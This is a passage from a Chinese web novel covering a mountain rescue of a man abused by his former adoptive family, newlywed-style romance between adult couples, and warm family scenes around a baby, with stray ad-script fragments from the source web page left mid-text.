还好有户人家拿着高音喇叭,跑过来说他们报警了,要不然他的小命不保。 吴旭东非常震惊,给他包扎完伤口,又递上保温杯和面包火腿肠:“快吃,先把我哥他们找回来,回去慢慢想办法。” “怕就怕你哥已经被他们弄死了。”高叔冷着脸,赶紧起了一卦,“等等,我算算吉凶,如果大凶我得多叫几个人。” 果然大凶。 高叔头痛不已:“等等再去,我叫几个帮手。” 吴旭东很着急,然而这是八舅推荐的人,应该是很可靠的。 只能耐着性子等。 安小蕾性子急躁,不听劝,想要自己去找,叫高叔一句话就给吓了回来。 “你要是想让你爸妈白发人送黑发人,你尽管去好了。” 安小蕾沉默了,等待的时间里来回踱着步子。 很快,有个四十来岁的女人鬼鬼祟祟的在院子门口,探头探脑的盯着他们。 安小蕾气死了,冲上去骂道:“看什么看,你们这群帮凶,早晚都会有报应的!” “姑娘,你别急,我是来帮忙的。”面善的女人盯着她身后的吴旭东,“你先告诉我,他是谁?” “你以为他是谁?他是我妹夫!”安小蕾又急又气,双目猩红。 女人追问道:“不是赵红梅那个早死的儿子吧?可是长得好像啊。” “不是,是他亲弟弟。”安小蕾蹙眉,这个女人果然知道点什么。 女人点点头:“怪不得长得这么像。你们跟我来,先在我家里呆一晚上,明天雪停了再去找。” “为什么要听你的?你害我们就来明的,不用这么阴损!”安小蕾完全炸毛了,压根不信这个女人。 女人叹了口气:“姑娘,我为什么要害你们?宝阳那孩子自小心善,救过我和孩子的命啊!” “宝阳是谁?摔下山崖那个?” “对呀。他叫李宝阳啊。当年我男人干活回来太晚,只有我和孩子在家,我正做着饭呢,家里进了一条五步蛇。当时那蛇已经爬到孩子的面前了,要是一口咬上去,孩子小命不保。是宝阳听到我的尖叫声赶过来,抄起菜刀冲上去剁了那蛇,要不然我孩子肯定没了。后来听说他摔下山崖,我还去找过,没找到。没想到他还活着,我真是太高兴了。”女人说着落下泪来。 安小蕾还是不信。 不过她身后的保镖倒是听出来了,这就是那个高音喇叭里的声音。 赶紧问道:“大姐,是你救了我?” “是,不过我没有真的报警,希望你们谅解,我不敢得罪李家人的。”女人很是惭愧。 安小蕾蹙眉,原来是这样。 “那走吧。”吴旭东起身,反正高叔要出去搬救兵,一时半会儿不会回来的,留在这个院子里也是受罪,北风这么紧,雪这么大。 到了女人家里,果然好吃好喝的伺候着。 安小蕾不敢吃,那女人便当着她的面,把每一份饭菜都拨了一些在自己碗里:“真没毒。我哪能做那种丧天良的事。再说了,你们几个人一看就是有来头的,我也不敢啊。” 她男人也劝:“是啊,我儿子的命是宝阳救的,我们怎么会害宝阳的亲弟弟?我们一早就看出来宝阳不是亲生的了,宝阳帅气,有正义感,从小就勤快得不行,结果还天天挨打。真是禽兽不如啊那家人。我们劝过多少回,没用。后来宝阳出事,我和我老婆哭了很久,我老婆还去找过他,回来直接病倒了,不信你们看看她腿上的伤,是她去找宝阳的时候摔下来的。” 男人掀开女人的棉裤脚,果然有几道触目惊心的伤痕。 女人叹了口气:“我顺着血迹爬到山谷底下,没找到人,以为他被野狼拖走了,回来就病了。三年才好。还好老天有眼,他没死。可是你们也太轻率了,来之前应该打听一下的,李家沟不是什么好地方,宗族势力强大,很排外的。要不是我们也姓李,只怕这会儿已经被人教训了。而且前阵子他们家来了个道士,神叨叨的不知道在密谋什么,你们要是就这么进山去找,只怕有去无回啊。” 安小蕾沉默了。 一旁的吴旭东端起饭碗吃了起来:“姐,快吃吧,明天还要去找大哥。” 饭菜果然没毒。 吃完饭,这家人把房间让了出来,两口子在堂屋摆了几把椅子,又去邻居家借了两床老棉被凑合一下。 安小蕾一整晚睡不着,靠在床头,盯着昏黄的白炽灯泡。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>早起的时候,安小蕾的唇边起了一圈水泡,急的。 吴旭东也没好哪儿去,黑眼圈,红血丝,再加抽抽搭搭的鼻音。 整晚没睡的标准形象。 两人焦急的等待着,真怕老高一去不回。 下午四点的时候,老高终于来了。 身后跟着三个神棍,清一色的混元巾,清一色的长褂。 套在老棉袄身上,显得格外臃肿滑稽。 看着昏暗的天色,老高再次起了一卦。 平。 那就还有生机。 “即刻出发!” 这一进山,就怕有去无回。 吴旭东思来想去,还是给老丈人打了个电话说明情况。 他哽咽着道歉:“爸,对不起。我不能不管子琰和孩子,但我也不能不管我哥。我会尽可能活着回来,可是如果我出事了,子琰和孩子就——” “别说傻话,会回来的。照顾好你蕾蕾姐。”周中擎握紧了阳台的护栏。 亲情,和爱情,孰轻孰重? 其实完全没有必要做比较。 很多时候,完全是事情推着人向前。 做弟弟的知道哥哥有难,并且已经尽可能找来了更多的帮手,如果不让弟弟去救人,一旦哥哥真有个三长两短,弟弟就算活着,余生也会沉浸在自责和悔恨之中。 可是弟弟也有家有室,如果弟弟出事了,老婆孩子必然也要面对一辈子的心痛。 怎么抉择都没办法两全。 做长辈的只能尊重孩子的决定,尽可能提供帮助,这就够了。 所以,在女婿打电话过来之前,他已经给北京的朋友通过气了。 警察已经赶了过去,保镖被群殴就是最好的理由。 其他能动用的力量他都用上了,只为三女婿,二女儿,以及准女婿可以平安归来。 吴旭东挂断电话,犹豫再三,没有给周子琰打电话。 他不想让她担心。 握紧八舅给他的东西,背好登山包,他换上雪地靴,跟着高叔等人进了山里,果然险象环生。 不是忽然脚底下出现了枯骨,就是树林上方忽然掉下来一个人头骨。 高叔镇定自若:“别怕,都是幻像,有人不想让我们更进一步。” 很快,他和朋友破除了这卑鄙的法阵,继续向前。 紧接着又是捕兽夹等陷阱,全都是幻像。 高叔大声道:“别怕,踩上去就破了。” 再然后则是火山沼泽,枪林箭雨。 “全是假的,迎头而上!”说着,高叔扔出几张符纸,破开了幻像。 等他们终于找到汤正阳的时候,已经是第二天下午了。 汤正阳和四个保镖饿了足足四天,已经气息奄奄。 吓得吴旭东赶紧冲了上去。 “别急,先喂点温糖水,暖暖胃,等他们缓过来再喂面包火腿肠。”高叔大声提醒。 吴旭东赶紧照做。 一旁的安小蕾不由分说从他怀里把人夺了过来:“我来,你去照顾那几个保镖!” 汤正阳醒来的时候,天已经黑了。 他正趴在谁的背上,一颠一颠的走着路。 睁开眼,头顶月亮好大好圆。 耳边传来女人的哭泣声。 以及负重之人的喘气声。 他动了动:“安教授,你哭什么?我不是没死吗?” “你闭嘴!八舅给你的东西为什么不带着?你要是死了只能怪你自己!”安小蕾气死了。 骂完又担心他的身体,赶紧凑过来摸了摸他的手,还好,热的。 喂下的糖水和食物起作用了,身体回暖了。 汤正阳笑了笑:“是我不好,我平时又没有得罪什么人,嫌麻烦就没带,是我疏忽了。” “好意思说呢!小东你先停下,歇会儿。”安小蕾指了指路边的大石头。 吴旭东把哥哥放下,擦了把汗,喝了点水,看看时间,晚上九点多了。 子琰快睡觉了。 他拿出大哥大,居然有信号了。 电话接通,他终于听到了朝思暮想的声音。 可他一句话也说不出来。 天知道他这几天有多煎熬。 既怕大哥出事,也怕自己出事,害周子琰孤儿寡母的日子难熬。 他太痛苦了,以至于一开口,眼泪便落了下来。 “琰琰,我想你了,想阿澈了。” “我和阿澈也想你了。记得帮我带二姐平安回来,还有正阳大哥,一个都不能少。” “你都知道了琰琰?” “当然,八舅那个大嘴巴。” “对不起琰琰,我没跟你商量,我怕你担心,我……” “傻子,你我夫妻一体,你的大哥就是我的大哥,救人是应该的。我相信,有朝一日如果是我大哥出事,你也不会拦着我去救大哥的,不是吗?” “琰琰你真好。” “人生在世,爱情不是唯一,家人也很重要呀。那是跟你一样受苦受难的大哥,我要是不让你去,我还是个人吗?放心吧,你老婆才不是小家子气的人。” “琰琰!”吴旭东再也忍不住了,抱着大哥大,泪水跟不要钱似的。 他多怕周子琰责怪他。 可是她这么体贴,他反倒是无所适从了。 只能拿余生去弥补,弥补他冒着妻女失去他的风险,去救大哥。 修整完毕,一群人重新上路。 回到李家沟的时候,村子里寂静一片。 那好心的女人在村口路上等着,见到汤正阳,满含热泪迎了上来:“宝阳!宝阳你还活着,还记得我吗?我是你七婶儿!” 汤正阳茫然的摇摇头,问道:“赵红梅呢?” “那个贱人,跑了!”女人义愤填膺,“不过别怕,她一家除了她都被抓起来了,警察要以他们十九年前杀人未遂调查他们!” “那就好。”汤正阳松了口气。 “时候不早了,你们快上车吧,昨天来了一个大巴车,一直在等你们呢。”女人指了指停在赵红梅家院门口的车子。 不用问,肯定是他准岳父的手笔。 汤正阳笑了。 凌晨三点,车子停在北京一家酒店楼下。 安小蕾去办理入住手续,让吴旭东先扶着汤正阳上楼。 十几分钟后,她进了房间,把正在给汤正阳搓澡的吴旭东拽了出去。 “你去洗澡,我来帮你大哥。” “你们不是还没结婚吗?”吴旭东怕她难做。 安小蕾白了他一眼:“谁说的?明天我们就去登记,你不同意?” “没有,我哪儿敢不同意啊。”吴旭东赶紧出去,不做电灯泡了。 关上门,安小蕾进了浴室。 迷蒙水汽里,她抚摸着男人身上的伤痕:“汤正阳,你这个祸害!我算是服了你了!” “你真的要跟我登记结婚?” “不然呢?” “不是还没到一年吗?” “一年你个鬼啊!你要是死了,我找谁考察一年去啊!” “看来我这次因祸得福,还有意外收获。” “别贫,闭嘴!老娘没给男人洗过澡,你凑合着将就一下吧。” “哈哈哈,安教授你真可爱,那我就恭敬不如从命了。” “闭嘴吧你,文盲!谁要你啊!” “你呀。” “我才不要。” “那你去找我做什么?” “我……我是陪我妹夫去的,我妹妹担心他,他可是我家阿澈小乖乖的爸爸。” “哦,那我好可怜,死了都没有人心疼,哎。” “你个乌鸦嘴,给我闭嘴!” “就不,反正死了也没人心疼我。” “好好好,我是为你去的,你可闭嘴吧。” “就不,你到处乱摸,我怎么闭嘴?” “汤正阳,我是在给你搓澡,请你不要污蔑我!” “你家搓澡这样搓啊?” “对,不服气?” “安教授。” “有屁快放!” “我受不了了,我想亲你。” “不行!” “那你把我扔回深山老林去吧,我宁可死了算了。” “你敢!马上过年了,你再胡说八道小心我收拾你!” “求收拾,憋不住了。真的。” “滚!唔——” 水花声四起。 隔壁的吴旭东则抱着老婆孩子的相册,痴痴傻傻的看着。 第二天一早,周中擎亲自过来敲门。 “小东,起来了,子琰让你回去,剩下的我陪你大哥处理。” 79. 甜心 安小蕾是在汤正阳怀里醒来的。 谁能想到,最最坚持原则的安教授,居然因为一时的冲动,放弃了原则。 她倒没什么好后悔的,男人是她自己选的,套子是她自己扔掉的。 她只是没想到,汤正阳那么疯。 把她折腾够呛。 可是常年科研,早就养成了她早起的习惯,所以她还是醒了。 正打算去卫生间洗漱,身边的男人一把将她扯了回来。 “安教授。”清晨的嗓音,总是带着几分低沉的沙哑。 初尝人事的男人,像是撒娇一样,勾住身量纤纤的女人,埋首项间,不舍分开。 安小蕾被他的胡茬扎得想躲,他却脸皮厚厚,她躲到哪里,他便追到哪里。 “嫌我没刷牙?”男人笑了,原来安教授也有这么小女生的一面。 安教授恼了:“神经,我也没刷呢。是你的胡子,该刮了。” 汤正阳明白了,摸了摸下巴:“等下刮,你先回答我一个问题。” “干什么?”安小蕾蜷在他怀里,抚摸着他的伤疤。 汤正阳摁住她不老实的手:“昨天晚上,为什么把套子扔了?” “过完年我二十九了,没必要戴那个。”安小蕾默默叹气。 认识这个男人之前,她从来没想过自己会有结婚生子的冲动。 可是现在,她想生一个。 不是屈从于生殖的本能,而是想跟面前这个男人,组建一个完整的家庭。 有妻子,有丈夫,有一个可爱的小生命。 三口之家,手牵着手,迎着艳阳,大步向前。 所以,她把套子扔了。 汤正阳听得懂她的言外之意,只是不理解:“你不是没有考虑好吗?” “你都把烟戒了。”安小蕾抬眸,认真凝视这个男人的面庞,“我还看到你给孩子取了名字,写在你的备忘录上了。” “你看到了?”汤正阳震惊,“好听吗?我没什么文化,真怕你不喜欢。” “还不错。我也问过八舅了,挺好的。”安小蕾正色道,“不过我可把丑话说在前头——” “孩子我带,家务我做,除了生孩子这件事我不能代劳,其他的我包了。”汤正阳知道她事业心强。 他愿意做她的辅助,做她的绿叶。 一辈子陪衬着她,默默的守候着她。 安小蕾在他心口画圈圈:“真心话?” “骗人天打雷劈。”汤正阳受不了。 老处男开荤,经不起一丝一毫的挑弄。 只得再次摁住她的手:“刷个牙,一起。” 刷完牙回来,安小蕾想睡个回笼觉。 汤正阳默默撑着胳膊,就这么侧身看着她。 看得她反而睡不着了,睁开眼问道:“你不再睡一会儿?” “不困。” “没想到你饿了几天还这么精力旺盛啊!” “谢谢安教授款待,昨晚吃得很饱。” 当然,这个吃饱是什么意思,安小蕾明白。 不禁捶了他一拳头:“别贫,哪有你这样不懂节制的,一晚上都没睡几分钟。” 汤正阳握住她的手:“憋太久了,安教授要是不满意,我可以悠着点。” “……真的是第一次?” “骗你我出门就被——” “闭嘴,不准说这种话!” “是对我的表现不满意?还是太满意了,不相信是第一次?” “是有点意外,你都快四十了,我以为你最多三五分钟。” “哦?你以为?说明你之前就想过跟我……” “……别贫!” “一点也不贫,时间很富足。”臭美的男人玩起了文字游戏。 安小蕾被他气笑了:“你挺骄傲啊!” “安教授满意吗?满意我就骄傲。” “还有进步空间。”安小蕾不想惯坏了他,这家伙也太嚣张了。 结果…… 汤正阳一个翻身:“那就请安教授多多指教,看看哪里还可以进步。” ……安小蕾服了,怎么有这么臭不要脸的男人。 事后,她瘫在男人怀里,骂骂咧咧:“汤正阳,你简直是个禽兽!” “安教授不喜欢的话下次我改。” “改得更疯狂是吗?我谢谢啊。” “不客气安教授,为你效劳是我的荣幸。” “闭嘴,我困了。” “那你睡,我听到周叔的声音了,我出去看看。” “等等再去,他肯定要送小东去机场的。” “那我小眯一会儿。” “真的只是小眯?” “君子一言驷马难追。” 那就好。 安小蕾背过身去,很快睡着了。 压根不知道,这个男人完全眯不着,就这么撑着胳膊,另一只手圈着她的身子,怎么看也看不够。 他幻想过无数次两人结合的画面。 没想到现实远超预期。 当然兴奋。 他好开心,他再也不是一个人了。 而且强势的安教授,在那种事情上居然异常照顾他的感受。 可能是看到他身上的伤痕心疼了。 尤其是低头亲吻那丑陋的伤疤时,简直让他无条件投降,甘做她的俘虏。 她果然是个无与伦比的女人,倔强的外表下面,是一颗火红的真心。 他愿意为这个女人燃烧,努力做一轮耀眼的暖阳。 再也没有黑夜。 * 吴旭东回到家,发现丈母娘正抱着小阿澈准备出门。 他赶紧放下行李,把孩子接过来抱了抱。 几天不见,小阿澈还认得爸爸呢,四个多月的小乖乖,挺直了小身板,去摸爸爸的脸庞。 小嘴儿叭叭的:“啊?啊!啊!!!” 吴旭东哭笑不得,这小家伙,真逗。 大概是在说—— 你去哪儿啦? 不要阿澈啦? 阿澈生气啦! 他赶紧道歉:“是爸爸不好,爸爸给阿澈带了礼物,看看呀!” 小东西好像真的听得懂,水汪汪的眸子里写满了好奇。 吴旭东赶紧说道:“妈,帮我打开一下行李箱。对了妈,你要带阿澈出去吗?” “我去子琛那里,饭菜已经做好了,你们两口子几天不见,好好说说话,就不让阿澈打扰你们了。”老安是过来人。 女婿刚刚经过那么一件大事,女儿跟着提心吊胆了几天,两口子肯定是要好好团聚团聚的。 有孩子在,不方便。 再说了,阿澈都四个多月了,已经开始吃一些软糯的辅食了。 于是她宽慰道:“放心,我刚喂了阿澈一碗鸡蛋羹,半碗米糊糊,全吃完了。今晚就让阿澈跟我睡吧,我带着奶粉呢。” “辛苦你老人家了。”吴旭东没有拒绝。 他确实好久没有跟周子琰单独相处了。 不过看看时间,还没到吃晚饭的时候,便锁上门,亲自送阿澈过去。 回来的时候,周子琰正坐在沙发上看军事杂志。 他赶紧洗了把手:“我去热饭。” 周子琰放下杂志,神色平静:“把门锁上。” 吴旭东头皮一紧,以为她生气了。 赶紧锁上门,跑到沙发跟前蹲下,握住她的手:“没有下次了,我保证。” “什么没有下次了?”周子琰看着他这紧张的样子,忍不住笑了,“你以为我要做什么?” “不是要训我?”毕竟他差点有去无回。 周子琰气笑了:“我是那种人吗?电话里不是跟你说清楚了?” “可你多少还是会有点生气的吧?”吴旭东也是人,换位思考一下,要是老婆瞒着他去涉险,他就算理解,也会有点生气的。 周子琰承认:“多少有点,就一点点。不过更多的是担心。过来,躺下。” 吴旭东狐疑地躺下。 周子琰二话不说,检查起来。 很快,她脸色一黑:“没贴风湿膏?” “忘了。”吴旭东懊悔不已,着急回来,真给忘了。 原来老婆是在关心他。 他真是个二百五,赶紧道歉:“对不起琰琰,我着急赶飞机——” “吴旭东,我上次怎么跟你说的?”周子琰是真的生气了,跑到冰天雪地的北方,居然不贴风湿膏! 气得她,真想揍他屁股。 想想还是忍住了。 转身回了卧室,二话不说,拿出药膏,给他贴上。 吴旭东感动坏了,安静的等她贴完,立马将她拽到了怀里:“琰琰,你怎么这么好?你这么好,我怎么舍得出事?今后大哥的事我会量力而行,再也不让你担心了。” “吴旭东,别转移话题,我上次跟你说过的,不贴风湿膏什么惩罚?”周子琰还生气着呢,才不想跟他讨论别的。 吴旭东只得硬着头皮:“罚我三个月得不到满足。” 而且会故意吊他胃口,节骨眼上再撤,让他无限懊恼。 想想就很可怕。 周子琰冷哼一声:“亏你还记得,来吧,接受惩罚。” “我冲个澡。” 周子琰拒绝:“先吃饭,免得你说我虐待你,饭都不给吃就动家法。” 吴旭东憋着笑,赶紧热饭去了。 吃完洗了澡,周子琰还真就一本正经动起了家法。 因为他的结扎手术还没到半年,所以保险起见,还是做了措施。 这个坏女人,果然不肯彻底满足他。 他只好厚颜无耻的求饶。 “好琰琰,我下次不敢了。” “不行,得让你长长记性。”严肃起来的周指导,那真是威严不可侵犯。 可她嘴上这么说,视线对上男人迷醉的眸子,又心软了。 最后还是满足了他。 事后,她摁着他,重新贴了两块风湿膏:“事不过三,下次再犯,绝不饶你!” “不敢了周指导,再也不敢了。”吴旭东乐呵呵的,把人拽到怀里,搂着她的肩膀,“琰琰,你真的不生气?我去救大哥——” “真的不气。明天和意外,谁都不知道什么先来。难道我下水出任务的时候就没有风险吗?难道一个人好端端走在大马路上就没有可能忽然被撞飞吗?人生在世,不确定太多。只要在一起的时候真心相待,其他的都没必要计较。”周子琰看得很开。 她知道吴旭东是非去不可的。 那是他哥,两人都有着糟糕的童年,坎坷的身世。 都是九死一生,才能回到亲生父母的身边。 可是即便回来了,他们的人生也是残缺的,不完整的。 这样的经历,即便别人尽力去谅解,也是没办法完全感同身受的,只有他们兄弟最理解彼此。 所以吴旭东救的不是大哥,是他自己。 是他们兄弟共同的劫难。 她回头,抚摸着男人因为来日奔波而略显憔悴的面庞:“小东你记住了,没有人比我更爱你,我会支持你的一切决定。可是你不能不爱惜自己,我好不容易把你找回来,你要是再把身体搞坏了,我不会原谅你的!” “琰琰!”吴旭东哽咽得说不出话来,只得紧紧地抱着她,紧紧地,把她揉到自己的生命里。 把那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 残缺的生命填充完整,再也没有缺憾。 没忍住,又要了一次。 这次换他主动。 夜已深,如水月色静静挥洒人间。 窗内一片清撤,明亮如昼。 周子琰枕着男人的手臂闲聊:“你知道吗?我有时候会想,当初你跟我告白的时候,我为什么没直接拒绝你。” “因为我长得好看?” “我不否认,有一部分这个原因。不过更重要的是,那天在修车铺,看着你在灯光下的背影,我会忍不住去想,小东是不是也在某个地方这样倔强的生活着。如果是的话,那我一定要带他过好日子。” “原来你那天离开之后一直外面看我?” “嗯,看了好久呢。后来我发现那就是你,那一刻我简直太高兴了。我爸妈很有钱,我可以让他们带你做生意,让你再也不被贫困包围,让你体面风光,穿好的吃好的用好的。” “你真好琰琰。” “可是你趴在我面前喊我姐姐的时候,我意识到了,你缺的不是那些。你缺的是一个真正爱你的人,一个可以弥补你童年缺憾的人。” “嗯,所以这个人,非你莫属。” “所以,你还用担心我为了救大哥的事情生气吗?” “毕竟我瞒着你……” “以后我也会有涉密的行动,我也会瞒着你的。小东,你记住了,只要我们感情上没有背叛彼此,其他的都不重要。人生在世,爱情不是唯一,亲情同样弥足珍贵。有个大哥陪着你,我不在家的时候也能放心一些。所以我其实比你更希望大哥好好活着。可能是我自私,我总想着,只要大哥在,他就会帮我多多照顾你一些。” “大哥对我是很不错,你怀孕期间,店铺和厂子都是他在照看。” “是啊,再说了,他都快成我的亲姐夫了,我有什么理由不让你去救他?难道我就不心疼我的姐姐?” “琰琰……”吴旭东紧紧地抱着这个女人。 他生命中最甜美最贴心最温暖的女人。 他一辈子最爱的女人。 没忍住,又腻歪了一回。 后半夜,周子琰沉沉睡去。 他却毫无困意,撑着胳膊,看着身侧熟睡的女人,忍不住低头,亲吻她的额头,一次又一次。 睡梦中,周子琰一把拽住他的胳膊,当做了枕头。 吴旭东最终保持着一个别扭的姿势睡着了。 第二天忘了起来做饭。 幸好丈母娘早有准备,到了时间就带着早饭和阿澈过来敲门了。 等周子琰吃了饭喂了奶去了部队,吴旭东这才恍恍惚惚的醒了。 老安在客厅和周子琛说话:“去帮你姐夫把鞋子刷了。” “啊?我不会啊妈。”周子琛生无可恋。 老安却坚持:“这么大人了,也要学着做点事情了,要不然你将来结婚了不是祸害别人家姑娘吗?快去,就当练练手。” 周子琛只好唉声叹气的去了卫生间里。 吴旭东赶紧起床:“放那吧,我来。” “好哇好哇!姐夫你起来啦!”周子琛求之不得,他帮着哄哄阿澈就行啦,其他的真的做不来的。 老安飞了一个白眼。 周子琛做了个鬼脸,略略略。 幼稚的舅舅逗得一旁的小阿澈咯咯咯直笑。 周子琛领悟了新的逗娃方式,干脆继续做了几个鬼脸。 小阿澈笑得手舞足蹈的,满屋子都是欢快的气氛。 门外的李二蛋背着书包路过,忍不住探头进来看了眼。 老安忙着叠尿布,看不到门口的情况。 周子琛在哄孩子,吴旭东在餐厅吃饭。 李二蛋鬼鬼祟祟的进来,趁着没人注意,抄起茶几上的玩具就跑。 出门的时候被门帘挂住了书包上的拉链,刺啦一声,动静不小。 吓得吴旭东赶紧出来看了眼。 李二蛋把玩具别在身后,还想装无辜。 叫吴旭东直接把他拎了起来,夺回玩具,冲他家的方向喊道:“李七海,过来一下。” 李二蛋怂了,脖子一缩,张嘴就嚎,妥妥的恶人先告状。 所以李七海一来,就听儿子哭道:“呜呜呜,爸爸救我,吴叔叔要打我,我只是不小心挂到了他家的门帘,我不是故意的。” 吴旭东蹙眉:“李七海,你儿子撒谎,你可得好好管管,你看,他偷我家阿澈的玩具。” 李七海打眼一瞧,原来是一个巴掌大的变形金刚。 昨天他见过,周子琛拿来哄小孩的。 他赶紧让李二蛋道歉,李二蛋却死鸭子嘴硬,说自己没拿,是吴旭东冤枉他。 李七海无奈,只好求情:“小吴啊,要不中午再说吧,孩子上学要迟到了。” 吴旭东把坏了的门帘撤下,冷着脸道:“打小偷针,长大偷金。你自己看着办吧。” 这话怪难听的,李七海心里不太舒服。 又不敢得罪吴旭东,只得讪讪的笑笑:“中午我叫他妈妈揍他。” 吴旭东转身,继续吃饭去了。 李七海不敢大意,生怕这小子半路再手痒,亲自把他送到了学校门口,这才回来了。 路过吴旭东家门口,却发现已经锁了门。 算了,那等中午再说吧。 吴旭东回城里买门帘去了,顺便带阿澈去见见爷爷奶奶。 老安留下,买了菜回来做午饭。 这样女婿不用赶时间,可以下午再回来。 吴旭东抱着阿澈,刚打开家门,大哥大响了。 多半是北京那边有进展了。 赶紧喊道:“小姨,帮我抱一下阿澈,我接电话。” 80. 慈母(二更) 汤正阳是幸运的。 此时此刻的他,正站在赵红梅的面前,却想不起任何的往事。 没有记忆,就没有伤痛。 没有记忆,就不会顾影自怜,跟弟弟一样痛苦。 可是随之而来的负面影响是——没有办法指证赵红梅的所作所为。 所以,当初到底是谁动的手? 他不知道。 只要赵红梅不说,这事就还会僵持下去。 何况她一口咬定,是她带他上山采草药的时候,他自己没有站稳,不小心摔下去的。 还说她努力尝试过营救,只是下山后没有找到他。 其他人证,没有。 有效物证,没有。 就连汤家爸妈,也只能证明他是摔下山崖去的,至于是“失足”还是“被害”,无从判断。 至于赵红梅为什么见到他就跑。 答曰:以为他是鬼。 那她男人请道士做什么的? 答曰:做了噩梦,请道士来驱鬼的。 而且这些玄门之术借助的是科学之外的力量,不能当证据。 警察也无可奈何。 所以,汤正阳只能遗憾的通知弟弟:“警察说了,要是找不到进一步的证据,李家的人会无罪释放。” “他们以前不是虐待你吗?能不能让李家沟的人出来作证呢?”吴旭东没想到这事并不顺利。 汤正阳摇头:“他们不肯,给多少钱都不肯。” “那个七婶儿呢?” “她不敢,她和她男人还要在李家沟生活,有心无力。” “别急,我想想。我问问咱爸,家里还有没有吴燕西的旧物。如果能证明吴燕西是吴家栋和赵红梅的孩子,而你跟他们其实没有血缘关系,那他们就有了迫害你的动机。” “你蕾蕾姐问过了,就算证明我不是他们的孩子,也不足以说明他们一定会杀害我,需要别的证据。” “那怎么办?我再想想。” “实在不行,只能慢慢调查别的线索了。毕竟隔了这么多年,很多证据早就被毁了。” “不不不,别急,肯定有办法的。哥,你去找当年在李家沟插队的知青名单,包括下放去李家沟的人。只要这里头有人愿意出来作证,证明李家父母一直虐待你,他们就有了杀你的嫌疑。就算最后推下山崖那里证据不足,起码可以起诉他们虐待儿童。” “这倒是个法子,我怎么没想到呢。还是你聪明,到底是上过大学的。” “不是我聪明,而是在王家沟见过知青和本地人起冲突。很多当地人都欺负过知青,知青不会向着他们的。” “行,我往这个方向调查看看。” “那你回来过年吗?” “回,我跟你蕾蕾姐过两天回去领证结婚,酒席先不办了,等开春之后。” “好,回来之前说一声。” “记得带上阿澈。你们那个岛去一次不容易,我就在家里等你。” “好。”挂断电话,吴旭东看着坐在客厅里折小动物的妈妈,病急乱投医。 走过去问道:“妈,告诉我,是谁害的大哥?是赵红梅吗?还是吴家栋?” 谈三娘停下手里的动作,仔细思考了一番,摇了摇头:“我看不清啊东东。” ……吴旭东虽然没得到想要的答案,但还是很惊喜的。 可能妈妈不认识对方,所以就算能看到一些事情,也认不出来对方是谁。 也可能是妈妈快好了,脑电波趋于正常,就失去神通了。 这不重要,重要的是,妈妈能说出完整的句子了。 他握住妈妈的手,笑得灿烂:“妈!你不磕巴了?” “我有进步吗东东?”年迈的母亲,像个求表扬的小孩子,露出纯真的笑。 可以想象,当年她是多么慈爱多么温柔的一个母亲。 吴旭东高兴坏了,虽然妈妈的语速很慢,需要一个字一个字往外蹦,但这真的是极大的进步了。 赶紧点头:“我妈妈真棒!阿澈奶奶真棒!” “我要好起来,帮你带阿澈。”谈三娘尽力了,不能说长句子,只能慢慢的做一些简短的表达。 吴旭东哪里需要她带孩子,只希望她老人家赶紧好起来。 忍不住坐在沙发旁,陪她一起叠小动物。 “这是什么?”他拿起一个小狐狸问道。 老太太想了想:“你小姨说,是狐狸。” “对,是狐狸!这个呢?” “是小猪。” “这个呢?” “猫猫。” “这个呢?” “金鱼。” 哈哈哈,吴旭东高兴坏了,赶紧把阿澈抱过来:“妈,你来教阿澈。” 于是他重新拿起那些小动物,举在奶孙两个中间:“奶奶告诉阿澈,这是什么呀?” “是小猪。” “啊!” “奶奶再告诉阿澈,这是什么呀?” “是猴子。” “啊!” 小家伙激动坏了,爸爸说一句,奶奶说一句,她也要应和一句。 虽然只是一个简短的音节,却听得奶奶满脸堆笑,好像枯树逢春,花开遍野。 吴旭东把小动物放下,让阿澈凑过去,跟奶奶贴贴脸蛋儿。 小婴儿免疫力差,所以他和周子琰不让孩子跟大人亲亲,只教她贴贴脸颊。 小丫头在奶奶苍老的脸颊上蹭了蹭,还伸出小爪子抓了一把奶奶的头发。 谈三娘嘿嘿嘿笑着,也不嫌疼。 刚好吴国正从家电专卖店回来吃饭,一进门就看到这温馨的一幕,不禁鼻子一酸。 果然新生命最能鼓舞人心了。 看到亲孙女儿跟老妻这么亲热,吴国正再苦再累也愿意。 他赶紧凑过来,想抱孩子,却被吴旭东嫌弃了,催他去洗手。 吴国正没见过抱个孩子还这么讲究的。 嘀嘀咕咕洗完手过来,挨了儿子一顿训:“洗个手也要啰嗦?你是想让自己麻烦一点,还是想要阿澈生病?” “我有那么脏吗?”吴国正总觉得儿子有点小题大做了。 吴旭东正色道:“你说呢?你在店里做生意,什么人接触不到?尤其是别人买东西的时候,什么样的脏钱没有?都是细菌。” “你们这代人养孩子太娇贵了,我们那时候都是放养的。”吴国正还是有点不习惯,他又不是没有养过孩子。 吴旭东直接冷下脸来:“现在能跟以前比吗?以前生多少个都行,养孩子跟养只小猫小狗没区别。现在呢?只能生一个。阿澈就是我的命根子,你要是不肯洗手,以后不准抱她。” “我没说不洗啊。”吴国正只是唠叨几句,这不是已经洗了吗。 吴旭东直接抱着孩子躲开:“不情不愿洗的,不给你抱。” “我错了还不行吗?你们这代人观念跟我们那时候不一样,你给我点时间行不行?”吴国正妥协了。 这可是他亲孙女,他馋死了,想抱。 吴旭东跟他约法三章:“今天不跟你计较,下次别让我说,自己主动去洗手。不然你别想让我带阿澈来见你。” “知道了知道了,快让我抱抱。”吴国正服了,别人家都是老子管儿子,他家是儿子管老子。 算了算了,谁让他脾气好呢。 小阿澈到了他怀里,他立马美滋滋的笑了起来:“叫爷爷,小笨蛋,叫爷爷。” “你才是笨蛋,不准这样喊我孩子。”吴旭东意见很大。 吴国正不理解:“这也要管,只是喊着可爱而已嘛。” “我就是不准任何人说我女儿是笨蛋。你再说不给你抱了。” “好好好,我孙女儿是小聪明。小聪明,叫爷爷。” “啊!” “哈哈哈。”吴国正稀罕坏了,抱着孩子坐在沙发上,找了张报纸出来,指着上面的标题,“这个字简单吧?它叫人,人民日报的人。” “啊!” “这叫日,人民日报的日。” “啊!” 吴旭东听着直翻白眼,孩子才四个月,都开始教她认字了,能记住吗? 也不知道到底谁才是笨蛋。 算了,老头子高兴就好。 下午离开的时候,爷爷奶奶依依不舍,送到了楼梯口才走。 